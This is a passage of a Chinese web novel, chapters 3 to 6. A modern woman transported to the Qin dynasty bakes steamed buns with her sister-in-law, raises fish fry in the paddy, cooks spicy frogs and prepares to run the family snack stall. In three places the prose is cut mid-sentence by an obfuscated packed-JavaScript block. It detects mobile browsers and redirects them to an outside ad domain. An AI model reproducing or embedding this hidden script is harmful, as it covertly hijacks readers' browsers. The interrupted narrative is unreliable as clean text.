《穿回大秦不躺平》 3. 学做蒸饼 但似乎，全家人都还没适应她的上进。 也似乎，他们也都还没想好让她帮着做什么。 这不，第二天一早，天刚微微亮，李卉就听到屋外院内悉悉索索的声音。间或还有阿爹阿娘腾背篓的响动，大嫂往大哥肩上压水桶时的叮嘱，甚至她还听到阿娘喊他们声音小些，再小些，“不然吵醒了卉娘，大家做事都要耽误。” 这话说的，李卉心道，竟不知原身之前风评竟这样差。 她翻了个身，心想今日无论如何也要从此开始，扭转局面。 但不想方才还赌气睡不着的李卉，在院内鸡鸣声复归于静后，又睡了半个时辰。 “嗨呀”，她不争气地打着哈欠，“看来身体的惰性连穿越的bug都修复不好啊。” 抱怨了一通，又在床上翻了几个滚儿，直到睡意完全退去，这才翻身坐起。 李卉拉开门，早春的风便将她吹得更加清醒。 后厨那边，阿嫂听到她这边的响动，试探性地问了一句：“卉娘起来了吗？” 经过这两天，李卉已经逐步适应别人喊她“卉娘”，回答的速度自然也是越来越快：“嗯，阿嫂，是我。我来打盆水洗把脸。” 大秦能养得起奴仆婢女的非富即贵，普通人家凡事只能亲力亲为。所以她一早醒来，是不会有奴仆婢女端着水在门口等着的。这个倒是她能接受的，作为一个现代人，她不愿意看到人和人之间的等级鸿沟。 “好，你来。”大嫂答，“我给你舀好。” “多谢阿嫂。”李卉说得真心实意。因为她用手试了试水温，不烫不凉刚刚好。 李卉方才进来时，连阿娘都不曾看到。 从大嫂口中得知，二月春耕，秦人的传统都是无论男女老少，都要下地。春要抢种，秋要抢收，向天要饭的日子确实辛苦。她在心中这样想了会儿，不过她研读秦汉多年，深知秦人好耕战，粮食有了收成，前方战事便有了保障，此时的大秦周围群狼环伺，若不努力经营耕作，普通老百姓的日子便会很难过。 原身的懒惰是原身的，现在这具身体是她占着，那她就要做出一些改变。 当这个想法再一次变得强烈，李卉已经洗好了脸，准备挽起袖子干活。 “阿嫂，你这是在做什么啊？” 李卉见一旁的陶钵里有跟前世的面粉一样的东西，但她记得这时候普通人家是不太能吃得起精细面粉的。果然，她一摸，虽说是粉，但颗粒感很强，一看就是磨得不精细。但是这种粗粮的饱腹感很强。 “做蒸饼。咱们今日朝食就吃这个。”阿嫂往灶间添了一把柴，火又旺了些。她边把火钳往灶孔里钻了几下，“火大点熟得快些，一会儿咱们一起往田间去送饭。” “好嘞。”李卉照做。 她第一次只加了小半碗水，发现还有些干，就又添了一次这回麦粉就软硬刚好。 阿嫂忙完手边的，就过来验收她帮忙的成果。 阿嫂把戳进面团的手指拿出来，满意地点了点头： “今天就不做汤饼，一会儿直接上锅蒸熟，这就是蒸饼。” 李卉点头，“那我来烧火。” “卉娘，你几时学会的和面？还和得这样好。” 见阿嫂这样问她，李卉早也就想到了说辞：“从前只是我犯懒不愿意做嘛，看阿嫂做了那么多次，再笨也看会了嘛。” 这个回答重点是在夸阿嫂，她听出来了。人在被夸的时候最容易放松警惕，也就不怎么计较她话里的漏洞——如果原身一直都对这些家务劳动并不热衷，还经常和阿嫂吵架拌嘴，怎么肯上心去学？ 不过李卉也不想太内耗，既然来了，就活在当下吧，等哪一天她们了异常，就再做打算也不迟。 “诺，拿去玩儿吧。” 让李卉意外的是，阿嫂竟然从面钵里揪出来一小块，递给她。 这熟悉的动作让她想起了前世的外婆。每当她寒假去找外婆时，外婆的家乡就会舂糯米打糍粑，舂好的糯米团软软的黏黏的，偏又是她的最爱，外婆便会揪一小坨拿给她，或吃或玩，都随她。 “阿嫂，这……”李卉一时感到窝心，眼都热了起来，她这是把自己当小孩了呀。 “噢？你以前老是趁我和面不注意时，揪一团去玩……”阿嫂解释道，前两年她刚嫁过来时，“我俩那时候关系好，只不过后来嘛……” “后来不知为何自己性情大变”，李卉接过话头，“现在我迷途知返了，阿嫂，以后咱俩还跟从前一样好。我保证。” “哎，好，好嘞。”阿嫂抹了抹眼睛，“那你快去玩，待会儿饭好了我喊你。” “不，卉娘不走，卉娘帮阿嫂烧火打下手。” 李卉道，“从前我不懂事，给阿嫂添了不少堵，以后阿嫂做饭我烧火，阿嫂打渔我递竿，阿嫂喊往东，我绝对不西走。” “你这孩子。”阿嫂嘴上虽埋怨，心里却很受用，“那这样，蒸饼需要加大火力，你再加把柴。” 等坐在灶门前的李卉都闻到了麦香，蒸饼便熟了。 阿嫂撕了一小块在嘴里尝，再把另外一半递给凑过去的李卉。 嗯，跟前世的精细面分一比虽然粗粝，也不是很甜，但这样份量的主食也是大秦老百姓很珍惜的，阿嫂还放了不少麦芽糖呢，李卉从阿嫂期待目光就能看出来。 于是她嚼了几口，点了点头：“好吃。真的很好吃。” “只是有点干”，她扭过头去喝了大半碗开水。 “今日便罢了”，阿嫂边把热乎的蒸饼装盘里，再放进一旁早就准备好的竹篮。 阿嫂说，这样的蒸饼还真得配上些汤水吃，“明日我们就做汤饼送去吧。” 这样的盘算只是给了明天，但阿嫂还是从地窖里拿了两颗白菜来，洗洗涮涮切切，很快一锅鲜美的白菜汤就做好了。 李卉按照阿嫂的吩咐，舀了两碗起来她俩在家吃，剩下的都装进了竹篮，有汤有饼，爹娘和大哥都是干力气活呢，一定要吃饱吃好，春耕才能做好呢。 朝食是前世的八九点钟左右，若是工作日时，李卉的早餐时间一般在七点左右，有时候要上早上第一节的话，为了多睡几分钟几乎都吃不上早饭。若是双休日，头天熬夜剪视频，她一般又要睡到十点多钟，起来吃个brunch（早午餐）就好。 而在大秦，照这个架势，春耕每天都是工作日，那么早餐就一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15179804|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定要好好吃了。 这顿朝食，李卉吃了四个蒸饼，份量大概相当于肯德基的两个老北京鸡肉卷，再加上阿嫂没喝完的半碗白菜汤，等她洗了碗筷出门时，都还在打饱嗝。 “一会儿要下地干活，而且暮食要到下午三四点了，这样吃也行的。”李卉怕自己长胖，但又转念一想，都穿越了，之前那套白幼瘦根本没有什么用武之地，凭什么她不能拥有健美身材，“再说我又不胖。” 最后这句话阿嫂听见了，“你还胖？大病了一场，得吃多少才能补起来啊。” 嘿嘿，好的，负罪感瞬间归零。 田地不算太远，但李卉还是跟着阿嫂走了好长一段路。 等到了自家的那块秧田，见到爹娘时，倒是把他们都吓了一跳。 大哥也是一脸难以置信的表情：“阿卉也来了？” “嗯，大哥”，李卉抢着说，“你们都快来吃饭，我和阿嫂都吃过了。” 她看着阿嫂绕了一大圈走到旁边的一块地里，给正在犁田的大哥递过去一条汗巾，然后再塞了一把干草给正累得喘粗气的牛。 李卉明白了，耕牛是农家壮劳力，人吃饭时，也要给牛带，这是最起码的尊重。 而李卉则在原地没动，把带来的韭菜酱一点一点往蒸饼上抹。 秦人爱吃酱，几乎所有能想到的都能拿来做酱，这是李卉很是佩服的生存智慧。等着爹娘和大哥都围过来吃饭时，她挽起裤腿就要下田。 “你做什么？”阿娘着急，一巴掌就打在她背上，“大病初愈的人，还没好利索，别想着下地干活！” 虽然阿娘从前总是嫌弃她这也不干那也不干，但现在她知道上进了，却又责骂起来。所为的不过就是她的身心健康而已。 李卉能理解，她道：“阿娘，我都好了，想帮你们做点事嘛。” “那也要等过几日，找了郎中来看了，才好下定论。” 阿娘坚持，阿爹便不好说什么，“卉娘，就听你阿娘的。再病了可不是闹着玩的。再说了，你现在也是在帮我们做事嘛，你醒了，你阿嫂要轻松不少呢。” 阿爹一眼就看出来今天的蒸饼就是她俩一起做的，要是从前自家闺女和儿媳妇关系不好，他都不敢说这话。现在他就没这些顾虑。 “是的，卉娘很有天分，今儿的面和得很劲道。” 说话间阿嫂已到她身旁，忙不迭给她递话头，让她不要再固执，惹得阿娘不快。 “好嘛”，李卉果然软了下去。 饭也很快吃完，一家人又要各自忙碌。这次阿嫂也加入了劳动，帮着插起了秧。 于是，田埂边便只剩下就着田里的水刷碗的李卉。甚至，今日是蒸饼，这个碗都不用怎么刷，只需用水稍微一冲，回家再用井水涮一遍就齐活。 “啊，好闲啊！”她百无聊赖地往水里扔石子儿，近处的几条小鱼惊得四处逃窜。 她突然想到了什么，“爹娘，这些鱼是您买了来养在田里的吗？” 阿爹却说并不是，“现在这么忙，哪有心思弄这些。” 大家都忙，可她闲啊—— “爹娘，我想去趟市集逛逛，您们给我拿些钱，可好 ？” 4. 买鱼苗 “倒也不是不行”，阿娘见她有了想做事心气儿，掏钱也很爽快。 “只是小心些，走慢些，噢对了还有，日落前必须要回田边来，咱们一道回家。” 李卉从她手上接过五个钱来，高兴地应着，而走到田埂尽头时，见另一块田里的阿嫂也招手示意她过去，也给了她两个钱。 阿娘眼尖，看见了，便道：“你们的钱自己留着嘛，给她干什么？” “是咧，小孩子有钱就乱花，你们以后还要养娃，钱可要算着花才好。” 阿爹说不来什么漂亮话，但这通话说出来，李卉见哥嫂也并未反驳。 李卉心想，果然是时代不同，人的思想观念就不一样。方才阿爹这番话若是在前世说出来，那她的阿嫂一定会不高兴，认为公爹是在催生；而在秦朝，人们都希望自己的子孙后代越多越好，多个人就是多个劳动力，就有振兴家业的机会呢。 于是她嘿嘿一笑，“阿嫂是喜欢我，所以才给我钱花。放心嘛，爹娘，等大哥他们的娃出生，我这个当小姑的，给她买吃的买穿的，她要什么我就给买什么。” “你这女娃娃，嘴上没个数，未婚未嫁女子，把生娃挂嘴边，也不害臊。” 阿娘怼了她一句，却被阿爹拉住了，小声道： “现在她这样也挺好，难不成你还想她跟从前一样，死不来气？” “对喽”，大哥也帮腔，“卉娘这样蛮好，钱花了再挣就是了，精神头好就行。” 哇，李卉心中暗爽，连大哥也是个“妹控”，嗯，原身的卉娘啊，你命真好啊！ 市集设在长宁街上，离农田这边还是有一定距离。 李卉上了官道，在路旁等了会儿，见有一辆驴车过来，她一招手，递了个钱出去，不多时，便到了长宁街市集的门口。 她下了车，在门口跟守卫说自己想进去逛街，还毕恭毕敬地展示了自己背的一个空空如也的竹篓：“这位大哥，我是附近平安巷的，爹娘在地里忙活，嘱咐我来市集买两条鱼回去烧，劳您行个方便，我做饭速度慢，得快些，不然就没得吃了。” “你这丫头，口齿倒是伶俐”，那位大哥见李卉“小小年纪”见了官差能说这一杆子话，不怕人不怕生，便有心帮她一把，“既如此，便快去吧。” 说着他还亲手开了旁边的栅栏，李卉道了谢，便像一尾鱼儿入海，融进了市集。 “哎，没想到自己一把年纪，还能靠卖萌获得方便……” 心里的话想了一半，李卉才猛拍脑袋，“嗨呀，又忘了！” 她现在才十二岁，正是妥妥的甜妹一枚哒嘛！ 进得市集来，李卉感受到的便是两千多年前，最原始的市集的热闹。 果然，种花家的人无论什么时候，都爱吃个饭逛个街。 李卉心里虽然打趣着，但脚步却不曾停歇过。 她方才跟守卫大哥说的，也不全然是撒谎。她要买鱼是不假，但她想买的却不是今晚红烧或清蒸的大鱼，而是要往秧田里养着的鱼苗。 前世的她就很喜欢吃鱼，有时候工作累了，她就喜欢跑到城市近郊，找一个农家乐，一钓就是一整天；当然运气好的话能钓起来一两条，更多的时候就是买村民田里的鱼，他们管这叫“稻花鱼”。 稻花鱼口感比一般水库的鱼更好，上一世她买鱼来吃，这一世她便养鱼来吃。 没准还可以有更多的商机，这家人这么好，她想多找点赚钱的机会。 “大娘，这些鱼苗怎么卖呀？” 秦朝的市集上，卖鱼卖菜卖瓜果的都有专门的区域，当然味道也是独一份，李卉这句话便是忍着空气中弥漫的，把鱼开肠破肚后的血腥气问的。 “哦？”那位大娘见买主是个小女娃，也没有不上心，李卉见她这样，便知道她十个实诚人，不会坑自己。不过，打眼一看周围，不管是哪家摊位上，卖的商品都标好了价签，她这个担心也是多余的。但就算是这样，李卉还是愿意摊主是个好人，不然她才十二岁呢，被人坑得可能会颗粒无收。 “你要单买这些鱼苗啊？” 这倒也不是什么新鲜事，新鲜的只是一个小女娃来买，说要回去养起来。 那大娘担心她回去是养缸子里，还跟她说容易死，如果要玩儿可以送她几条。 李卉就再次把爹娘搬出来：“爹娘都还在田里插秧，好婶子，您就把这些鱼苗都卖给我吧，实在是他们想买回去养鱼塘里，偏自己又走不开，这才派了我来……” “哦，原是这样的。”那大娘这回彻底放了心，按照一个钱十条鱼苗的价格给她装了四个钱的，后来见也不剩几条了，就索性连装鱼苗的土缸子也一起送了她。 李卉得了便宜，嘴自然甜津津的：“谢谢婶子，下回还来您这买。” “哈哈，好”，那大娘还让她回去路上慢些，水洒了的话，鱼就干死了，不值当。 这些话李卉都一一答应着，来了趟市集，就顾着买鱼苗了，不过她也看得开，以后有的是机会过来，也不在这一次两次的。 等她小心翼翼地把四十大几条鱼苗运回田边时，已是一个多时辰过去了。 “阿爹，阿娘，大哥，嫂子，你们谁得空，快来帮我一下……” 听到李卉这样喊，大哥离得最近，赶紧快步过来把鱼苗接了过去。 “你买……这些鱼苗来干啥？”大哥吃惊时也容易咋呼，李卉笑着想果然是她哥。 “嘘，小点声”，李卉道，“别人听见就都去买了来养，到时稻花鱼就不值钱啦！” “鱼本身也没多贵啊”，大哥虽然依旧不理解，但还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15179805|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老老实实帮她抱着，等到了爹娘跟前，才小声嘟囔，“何必费这个大劲自己来养？要吃的话去买就是啦！” “你妹妹难得做件事，就让她去折腾嘛。” 听阿娘将她要养鱼当成是折腾，意思就是，成了就成了，不成也无所谓。 李卉一下子就来了心气儿：“阿娘您织布挣钱虽然多，但那多费眼睛呐，我可不愿意您一直织布；还有阿爹，跟地里刨食，就是看老天爷脸色吃饭，几乎全年无休；就算是大哥有军籍，平日里站站岗还好，但一旦战事来了，那过的都是脑袋拴在腰上过日子。我这回买的鱼苗回来，就把它养在秧田里，等过几个月就可以卖了，多条路子多笔钱不是吗？再说您们也可以轻松一些呀！” 说到动情处，李卉自己也鼻子一酸，她又有了一种在前世时被人曲解时的委屈。 “难为卉妹是替我们这个大家庭在谋算”，大嫂见她那委屈的样子，分明是共了情，“你大哥不懂你，没事儿，阿嫂支持你。” 她没敢说另外两位长辈的话，只说她自己，“来，我帮你把它们倒进田里。” 决定去买和从市集回来，李卉忐忑了一路；结果倒下去一分钟不到，但她听了鱼儿入水的响动，心里还是有期待的： “爹娘放心，我只买了三个钱的，就算亏也亏不了多少。” 阿娘接到李卉递给她剩下的那些钱，才回过神来，“我还想着你是给自己买零嘴吃食去了，难为你，不过既然都买回来了，就让它们在稻田里养着。原是阿娘不是，不该说刚才那句话，你有心做事情，这样很好，我们大家也都支持你。” 李卉这才咧开嘴笑了。 她看田里的秧苗才插了一半，说什么也要下田来帮忙。 大家都拗不过她，便也只好让她脱鞋挽裤地下了田。 田里的淤泥到了小腿肚，方才倒下的那些鱼苗像认识她似的，纷纷围她脚边来。 “鱼儿啊，你们一定要可劲儿长啊，到时候再给你们添一堆小伙伴儿……” 李卉知道水稻六七月间就能成熟，鱼长三四个月怎么也长得膘肥体壮了。到时候卖掉再买一批鱼苗来，这样就是鱼生鱼，钱自然也就生钱啦！ 到时候要说想吃怎样的鱼没有？过来捉就是啦！还不用大老远跑市集去一趟！ “卉妹，你在叨叨啥呢？” 阿嫂见她埋着头插秧，嘴上又振振有词，便凑过来问她。 “啊，阿嫂，我是在想……今日的暮食又可以加个菜啦！” 她右手上捉住的是一只田鸡——就是前世所说的“青蛙”。 那田鸡正在做最后的挣扎，泥水溅得李卉满脸都是。 她这幅滑稽的样子也没能打消大嫂心中的疑惑： “田鸡用来做酱还差不多，这能当菜吃？” 5.田鸡入馔 “当然能啦”，李卉抹了一把脸，其实是为了把先前的泥浆擦掉。 她几下把自己收拾干净，自告奋勇地要把篓子里的十几只田鸡扛回家。 可阿爹却不想这么早收工，春耕夏种秋收都要抢天时，他看了一眼儿子儿媳还有一旁的妻女，用不大的声量说起自己的决定： “都留下来吧，早点把这点秧苗插完，等日落了再回家去。” 李卉一愣，“可是我……有点饿了……” 哎，方才在市集上，真应该买点零嘴先垫吧垫吧肚子啊。可现在后悔也没用了，买鱼苗剩下的钱，全都还给阿娘啦。 “不急，蒸饼还多呢。” 阿嫂变戏法儿一般把剩下的蒸饼从食盒的第二层里拿出来，一人先分一个，到了她这儿，拿到手里的是两个。 “你病刚好，体弱，多吃一个。” 阿嫂的话宽了她的心，见爹娘都没有意见，她就？心安理得把两个蒸饼都吃了。 还得是现蒸的好吃啊，放了小半天后就干巴，嚼得她眼泪都出来了，不过也有一点好处，那就是狂喝一通水后肚子里就发紧发胀——顶饿啊！ 很快就吃饱的李卉，便想挣一回表现：“今日的晚饭我来做吧！” “晚饭？”大哥福至心灵般地问出了大家共同的疑惑，“什么是晚饭？用碗装的？” “朝食暮食的麦饭都是用碗装的，你管它们都叫晚饭？”大嫂也跟着附和。 李卉闻言，一丝愣神过后，自己倒是先笑起来： “不不不，我说岔了，我是说今天回去后吃了饭我来刷碗！” 秦朝时期普通人还没有实现一日三餐，所以她也就懒得解释那么多，顺着话头就接了过去。她不想秦朝的家人们把她当成一个异类。 “那太好了”，大哥竟鼓起了掌，“卉妹真变了一个人，现在多勤快，之前就……” “哎呀，大哥，人哪有不犯错的嘛！” 一天到晚就揪住原身这点不放，多听几次李卉觉得好没意思，赶紧要扭转乾坤。 这不，全家人披着斜阳回家的路上，李卉两只手和背上都没空过，全是田鸡。 一路走，前世的一些美食记忆便如那天边的日头，无差别地攻击着她。 想想什么馋嘴蛙、美蛙鱼头，还有烤青蛙诸如此类，简直不停地冒清口水。 但是转念又一想，她好歹借了原身在这个朝代捡回来一条命，先苟着才要紧。 是故便有了“讨好”之意：“阿嫂，待会儿你教我怎么做这田鸡酱可好？” 阿嫂自然是爽快答应，李卉则有自己的盘算，初来乍到的，得跟人搞好关系。 她掂量着左右两手田鸡的分量，又接着说道： “一多半拿来做酱，另外一小半拿来我给大家做点其他的，一来大家都习惯了酱的吃法，二来嘛，我厨艺不怎么好，做少一点也免得糟蹋粮食……” 之前她就是学这段历史的，知道这个时代的普通庶民，想要吃饱穿暖也要费很大劲，所以如果一会儿做出来的菜，不合家人口味，就难免有浪费之嫌。 因为前世的人们不仅爱吃，各类调味品也比现在多，要照着之前的复刻，也不一定就水土相服。 可很显然，等她忙活好一通，把她做的馋嘴蛙端上桌后，之前的担心确是多余。 她煮了整整一大釜，铁釜要比前世锅壁厚不少，所以这顿饭也废了不少好的柴火。好在大家都不忍心败了她的兴致，便生生地饿着肚子等了她一个时辰。 “卉娘，你这是什么做法？” 阿嫂见她把花椒下锅炸，然后又把花椒籽捞出来，复而又将葱段倒进釜内炸了再捞出，如此几次反复，又把之前家中有的黄豆酱倒了半罐子，整个后厨便弥漫着鲜香椒麻的味道，勾得阿嫂啃了一大块蒸饼都不顶饿，于是过来后厨帮她。 李卉头也不抬：“阿嫂来得正好，帮我把腌好的一钵田鸡肉端来……” 说着她把手中的一木瓢水掺进釜中，等了一会儿见釜中水开了，就将那一盆田鸡肉都倒了进去。 起初，只能闻到一丝香味，慢慢地，香味便越来越浓，还有一丝醇厚的酒香。 李卉满意地揭开釜盖，用木勺舀起一点儿汤汁到嘴边，浅尝了一下，接着便喝完了，“来，阿嫂尝尝，这个做法可还吃的惯。” 她把木勺伸进釜中，对着那咕嘟冒泡的汤汁大方地舀了一勺，递给了阿嫂。 阿嫂先是推脱了一番，见拗不过她，而这时候汤汁也冷到恰好能够入口，便就着木勺先小口饮，而后便仰脖而尽，“卉娘，你这里头可是放了些酒？” 李卉见阿嫂确实懂庖厨，便也不藏私，就点头道：“是的，不过加的不多，就调个味儿，能够增鲜提味。” “太鲜太香了”，阿嫂情不自禁地说。 “真的吗？”李卉顺势将一块田鸡腿肉夹起来，“既如此，阿嫂便再帮我尝尝这咸淡，看这个口味合适不？” 阿嫂也不扭捏，接过便吃，李卉眼见她的眼神变得清亮，“好吃，好吃，下饭。” 李卉听到阿嫂如此说，不由想起前世，在她的家乡里，“汤汁别倒了，留着下面”也是对厨师手艺最好的褒奖。 如此看来，这千百年来，大伙儿对食物好吃的评价真是一脉相承啊。 事实证明，阿嫂的评价确实中肯。 阿嫂平时只吃一碗饭的，今儿吃了一碗半；大哥吃到第三碗的时候，不好意思地说了句，“主要是这道菜煮了太长时间，我都饿得狠了，所以才添的。” 而爹娘呢，也是比平时多吃了一倍的饭。 受了他们的鼓舞，李卉自己也添了一次饭，还是浇着汤汁吃的。 因为熬煮的时间久，田鸡肉被煮得软烂脱骨，稍微用力一唆，那肉便全盘落入口中，裹着咸香鲜麻的汤汁，着实好吃。 看着大家满足的样子，李卉觉得又多了一丝信心，纵然大秦没有前世那般多的佐料来调味，但胜在食材天然零添加，还有铁釜熬煮方式的时间加持，所以口味也不赖。这不，一向寡言的阿爹吃完陶钵里汤汁掩映下的最后一只田鸡腿后说： “明儿去田里，再捉一些田鸡来。” 那当然好啦，李卉在心底正琢磨，虽然大家都很捧场，但她还是知道自己今天做得不太好的地方，就是盐放得有点多，有点过于重口，明儿她要再做，便要改进一些。哦对了，还有那黄豆酱，也没有前世的豆瓣酱好，她打算后头再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185592|165232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琢磨一下复刻豆瓣酱出来，那可是做菜的一把好手啊。 这顿饭李卉做了，阿嫂便不好再让她洗碗，趁着她帮着收碗的时候，阿娘便问： “这种吃法之前属实没有尝过，卉娘是从哪位高人哪里学来？这道菜可有名字？” “我瞎弄的”，卉娘嘴上很是谦虚，“承蒙爹娘喜欢，阿卉很是高兴。” “名字倒是也没有”，因为在大秦这样的做法很少见，“我刚看你们都吃了比之前多的饭，不如就叫“馋嘴田鸡”？” “这个好！”大哥率先响应。 当然好啦，虽然只有这一盆菜，但大家饭量却比之前大一倍，不是嘴馋是什么？ “可惜咱们家不是铺子而只是个小吃摊，不然这馋嘴田鸡一上，保准很有卖相！” 大哥又开始惋惜起来。李卉知道，这是对她厨艺的另一高标准赞美，就在她看到大家脸上的表情由一开始的惊喜到现在的惋惜，自己也有点过意不去。 因为这不是她的本意，谁让大哥要往这个方向扯啊？ 所以她赶紧又道：“小吃摊怎么啦？小吃摊也好啊！总要一步一步来的嘛！” 本来在追求建功立业的大秦，作为一名女性，她不擅长织布就已经有些羞愧。 但现在家中有一个小吃摊，这不正好让她发挥前世美食博主的余热嘛！ 所以她今天这道馋嘴田鸡，其实多半也存了这个心思，想让爹娘和兄嫂放心，她做出来的菜还可以，以后也能一步步地帮着家里打理小吃摊了嘛！ 不然每逢市集，要是不农忙还好，要像现在这般又要忙地里，又要织布，还要顾家里，真是几头顾，哪头都顾不好。 “卉娘说得对”，阿嫂很是支持她。 “要我说，卉娘既然有这个厨艺天分，随便做点都好吃，干脆往后家里的小吃摊你就多帮衬着点，这样的话我们大家都有事做，不然省得我和你爹天天操心你。” 还得阿娘发话，李卉见阿爹也点了点头，而小吃摊原本就是爹娘的，兄嫂分了家出去，他们本就没什么发言权，这事于是就这么定了下来。 前世她就喜欢做饭，现在刚好接手一个小吃摊，而且她知道在大秦历史上虽然以农为本，但商人也是靠自己的劳动能力吃饭，眼下挣钱改善家境立足脚跟最为要紧，哪里还顾得上什么社会地位？ 李卉道了谢，也想再拿出自己的诚意来，于是就说，明天再去自家别的田里再抓些田鸡来，除了馋嘴田鸡以外，再试试烤田鸡，先腌入味再上炭火烤架，没准儿后几日逢集，小吃摊上就能多上一道菜。 烧烤的历史由来已久，热油一浇，火苗蹭蹭涨，谁看了不得停下来买上一串！ 往后天气还会越来越热，烧烤自然是人们消暑度夏的首选呢！ 要不前世美食博主圈里怎么说，夏天里西瓜和烤串最配呢？！ “阿娘，我想让阿嫂一起帮我，可好？” 不然人生地不熟的，反而容易受欺负，有个自家人在旁，总要好一点。 李卉晓得作为老年人最想看到的是年轻人和睦，所以阿娘也答应得很是痛快。 而阿嫂更是受宠若惊，“行的，卉妹想让我做点什么，你尽管吩咐就是。” 6.肉菜夹馍 李卉见阿嫂这般紧张局促，反而出言安慰她，道是自己前些年荒废了时光，如今还得先是听阿嫂的，而且菜品也不宜有太大改动，“就先还是主要做蒸饼来卖，其他的再徐徐图之。” 此前，她也从原身的爹娘偶尔的抱怨中知晓一二，他们早就有想法要让原身出来帮忙，哪知道无论如何也喊不动，所以今日爹娘才会一下子松口让她来。大概是觉得自己躺平许久的女儿终于奋起，作为长辈也得表示表示。 但这样一来，便抹杀掉了阿嫂的辛苦。 因为自从来了大秦，李卉没过多久便琢磨出，这个家里的女性其实相当辛苦。 大哥时常外出当值，只有农忙时才会被放归，阿爹木讷，除了一些力气活外，很多轻巧但琐碎的杂事，还有这个不大不小的小吃摊，便都落在了阿嫂和娘身上。 而阿娘的蒸饼手艺最好，可除了小吃摊，更多的心思都花在了织布上，所以—— “之前因为人手不够，咱们的小吃摊时常关张，今后有了你们二人一起，咱们的小吃摊生意定会越来越好的。” 谁不盼着生意好点呢？ 正好明日逢集，全家人便都等着李卉来分派任务，爹娘帮着做老式的蒸饼，她和阿嫂则琢磨起做肉菜夹馍来。 按照分量比例，蒸饼六成，肉菜夹馍各两成。这也是问了家里人才定下来的。 因为肉价贵，做出来虽然好吃，但成本也更高，不知道能不能有销路。 虽然前世的她已经知道，肉夹馍已是秦岭关中一带的代表性小吃，但如今要做，却也是担了风险的。 “也不知道他们的口味，咱们就先少量的做，如果卖的好，下次市集再多做些。” 大家都夸她稳重，跟从前判若两人。 李卉听了也不辩解，由得让她们“误会”，也算是他们都一点盼头吧。 “多做几个厚一点的蒸饼，蒸久些，但要注意不能糊锅。” 后厨烟熏火燎，还有杂粮蒸饼的清香，文火熬煮，不快不慢，香味也就更持久。 糖如今是没有的，所以嚼起来反倒比前世多了一份粮食本身的味道，但李卉并不是很爱原味的，她觉得生活已经很艰难了，还不允许吃点糖开心一下呀？ 可巧妇也难为无米之炊，故而她也只有将就着来。 不过在她这是寻常之物的，在爹娘和兄嫂跟前却是实打实的新鲜。 不多会儿，铁釜上便有了蒸汽，杂粮蒸饼厚实圆乎，揣在手里也滚烫无比，李卉等不及要掰一块来尝尝，“嗯，熟了，是这个味儿。” 说着她便同邀阿嫂阿娘一起来尝，两人也无不夸赞：“新奇，阿卉你加了些什么进去，吃起来这般细腻绵软？” 到底是阿嫂，李卉笑了笑，“就是加了些麦子磨的面粉，太金贵了，不敢多加。” 秦朝还没大面积普及石磨，所以面粉相当金贵，果然听了这话后阿嫂就咋舌道： “我说呢，那……这个蒸饼的价格也便宜不了吧？！” “也不会太贵，头一回嘛，自然要实惠大酬宾的。” 现在是三钱两个素蒸饼，加面粉的，单个就再添上一钱，虽然涨了也还算良心。 听到这里，大哥停下了宰肉的手，他力气大，便被李卉分派过去卤肉，然后再把肉从喷香的卤水里捞出来，再剁碎。 “那这要是再加上这些肉和菜，价格岂不是更贵，还有没有人来买呀？” 而这也是爹娘最担心的。李卉虽然也担心，但是她深知种花家的人对美食的狂热追求，所以也就还好，“纯肉的就六钱一个，纯素的就四钱一个，若既要肉也要菜，那就再取个中，五钱一个嘛。” 不过为了宽他们的心，也为了让他们都尝尝味道，所以第二日一早的朝食，全家人人手一个肉夹蒸饼，除了李卉，个个都吃得痛心疾首又依依不舍，一边感叹“太好吃了”，一边又担心吃了这么多就不好卖了，李卉心中想笑又只好强忍着安慰。 “不妨事的，我们自己吃着好，吃得饱，才有力气在地里干活，今天的生意也一定会红火嘛。” “从前怎么没发现卉妹你长了一张这样的巧嘴？”阿嫂揶揄道。 李卉便也玩笑道，“从前卉妹不懂事嘛。从今儿起，阿嫂想听什么甜言蜜语，大哥不爱说的，我都说给你听。” “你……”阿嫂颊边一坨红霞，她本来也没比自己大几岁，如今更显娇俏可人了。 玩笑归玩笑。 真背起一大摊子蒸饼、卤肉和素菜到市集时，李卉还是捏了一把汗。 秦朝的每一个市集都有固定的开市和闭市的时间，入口处还有卫兵盘查。 跟上次市集买东西的顾客体验感不同，这次她是卖方，还是一个小吃摊摊主。 她本来心里一直打鼓，在市集入口处，还被一个守卫拦住了问话： “你从哪里来？要做什么去？背的东西是什么？” 此刻李卉已经没有心思想这个人怎么会在这么市井的地方，问出这样深奥的哲学问题了，对方话还没讲完，就赶忙答：“背的是蒸饼，我和阿嫂是来卖蒸饼的。” 